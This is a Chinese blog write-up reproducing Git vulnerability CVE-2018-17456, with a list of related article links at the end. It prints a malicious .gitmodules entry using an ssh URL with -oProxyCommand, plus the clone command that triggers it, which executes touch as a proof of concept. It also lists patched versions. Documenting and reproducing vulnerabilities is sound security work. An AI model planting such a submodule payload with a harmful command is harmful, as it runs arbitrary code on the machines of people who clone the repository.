Git漏洞允许任意代码执行(CVE-2018-17456)复现
Git漏洞允许任意代码执行(CVE-2018-17456)
国外安全研究员 joernchen 在 9 月 23 日向 git 官方报告了漏洞的相关细节。10月5日,Git项目披露了一个漏洞,编号为CVE-2018-17456。当用户克隆恶意存储库时,该漏洞可能会导致执行任意代码。
漏洞描述
这个漏洞已被分配CVE-2018-17456这个唯一 ID,与之前的CVE-2017-1000117可选注入漏洞相似 —— 恶意仓库可以新建一个.gitmodules文件,其中包含以破折号开头的 URL。
通过破折号,当 Git 使用 --recurse-submodules 参数来克隆仓库时,该命令会将 URL 翻译为一个选项,然后可以使用该选项在计算机上进行远程代码执行。
当运行 git clone --recurse-submodules 时,Git 会解析 .gitmodules文件中的 URL 字段,然后将其作为参数传递给 git clone子进程。如果 URL 字段是一个字符串,并使用短划线开头,这个git clone子进程将会把 URL 翻译为一个选项。这可能导致用户运行 "git clone" 时,会执行superproject中的任意脚本。
受影响的产品
GitHub桌面
GitHub Desktop 1.4.1及更早版本包含受此漏洞影响的嵌入式Git。
Atom
Atom包含了相同的嵌入式Git,也受到了影响。版本1.31.2和1.32.0-beta3包括补丁。
Git命令行
Git在命令行和其他客户端上
漏洞复现
以mac os的git命令行, 版本为2.10.1

- 0x1 首先在github创建一个仓库,然后传一个
.gitmodules文件,里面写入payload:
[submodule "test"]
path = test
url = ssh://-oProxyCommand=touch JimZ-test/git@github.com:/timwr/test.git
如果执行了touch JimZ-test,则存在漏洞。
自此我们的恶意仓库创建完成。
- 0x2 用靶机打开受影响的git,然后输入payload
git clone https://github.com/zhengjim/CVE-2018-17456.git --recurse-submodules

然后ls CVE-2018-17456 查看

存在JimZ-test文件 ,证明执行了touch JimZ-test
复现成功
修复方案
此漏洞已在 Git v2.19.1 (with backports in v2.14.5, v2.15.3, v2.16.5, v2.17.2, and v2.18.1), GitHub Desktop 1.4.2, Github Desktop 1.4.3-beta0, Atom 1.31.2 和 Atom 1.32.0-beta3 中得到修复
将 git 命令行工具更新至 git 官方发布的最新版本。
Github Desktop 更新至 1.4.2、1.4.3-beta0 版本。
Atom 更新至 1.31.2、1.32.0-beta3 版本。
参考文章
- https://mp.weixin.qq.com/s/8ccCxij6XI90sfJzvpkDVg
- https://zhuanlan.kanxue.com/article-5210.htm
- http://hackernews.cc/archives/24216
Git漏洞允许任意代码执行(CVE-2018-17456)复现的更多相关文章
- WordPress wp-includes/functions.php脚本远程任意代码执行漏洞
漏洞名称: WordPress wp-includes/functions.php脚本远程任意代码执行漏洞 CNNVD编号: CNNVD-201309-166 发布时间: 2013-09-13 更新时 ...
- 20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞
Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的“二 ...
- Struts 2最新0day破坏性漏洞(远程任意代码执行)等的重现方法
Struts 2的远程任意代码执行和重定向漏洞,是这两天互联网上最重大的安全事件,据说国内互联网企业中,很多电商纷纷中招,应该已经有大规模的用户隐私泄露.这里我们简单总结下怎样在自己机子上重现这些漏洞 ...
- php 168任意代码执行漏洞之php的Complex (curly) syntax
今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHt ...
- [漏洞分析]thinkcmf 1.6.0版本从sql注入到任意代码执行
0x00 前言 该漏洞源于某真实案例,虽然攻击没有用到该漏洞,但在分析攻击之后对该版本的cmf审计之后发现了,也算是有点机遇巧合的味道,我没去找漏洞,漏洞找上了我XD thinkcmf 已经非常久远了 ...
- PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案
首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_ ...
- 记一次海洋cms任意代码执行漏洞拿shell(url一句话)
实验环境:海洋CMS6.54(后续版本已该洞已补) 1.后台登录尝试 这个站点是个测试站,站里没什么数据. 进入admin.php,是带验证码的后台登录系统,没有验证码的可以用bp爆破.有验证码的也有 ...
- 干货|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意代码执行漏洞分析
近期,国外安全研究员Andrew Danau,在参加夺旗赛(CTF: Capture the Flag)期间,偶然发现php-fpm组件处理特定请求时存在缺陷:在特定Nginx配置下,特定构造的请求会 ...
- seacms_6.4.5 前台任意代码执行漏洞分析
环境搭建 1.下载安装包 下载地址: 链接:https://pan.baidu.com/s/1uw_VnxnvG4GGEae4TRsGGw 密码:cd48 2.常规安装 漏洞复现 poc1: http ...
随机推荐
- PHP如何处理emoji表情存入utf8的数据库
一般Mysql表设计时,都是用UTF8字符集的.把带有emoji的昵称字段往里面insert一下就没了,整个字段变成了空字符串.这是怎么回事呢? 原来是因为Mysql的utf8字符集是3字节的,而em ...
- (译)(function (window, document, undefined) {})(window, document); 真正的意思
由于非常感兴趣, 我查询了很多关于IIFE (immediately-invoked function expression)的东西, 如下: (function (window, document, ...
- youtube去广告
https://www.digitbin.com/youtube-ads-block/ 1. OGYouTube | Mod AdBlocker YouTube OGYouTube App is a ...
- Python 列表切片陷阱:引用、复制与深复制
Python 列表的切片和赋值操作很基础,之前也遇到过一些坑,以为自己很懂了.但今天刷 Codewars 时发现了一个更大的坑,故在此记录. Python 列表赋值:复制"值"还是 ...
- vue 手机端样式统一配置
- pdfjs预览pdf文件的两种方式(可复制)
1.以图片形式进行展示: version:采用1.x版本,2.0版本会有字体显示不完整的问题:参考 这里使用1.8.170 <script th:src="@{/pdfjs/build ...
- [ubuntu]apt-get update突然出现arm package找不到
https://blog.csdn.net/l741299292/article/details/69671789
- 3A
# -*- coding: utf-8 -*- import datetime, time, heapq, cx_Oracle #2rd sheet def get_5mins_3A_LOG(): c ...
- FlowerVisor理解
Ï来自FlowVisor: A Network Virtualization Layer这篇论文的理解 1. 简介 论文讲述如何虚拟化一个网络,并描述一个特殊的系——FlowVisor 网络虚拟化用来 ...
- Java实现生产者与消费者模式
生产者不断向队列中添加数据,消费者不断从队列中获取数据.如果队列满了,则生产者不能添加数据:如果队列为空,则消费者不能获取数据.借助实现了BlockingQueue接口的LinkedBlockingQ ...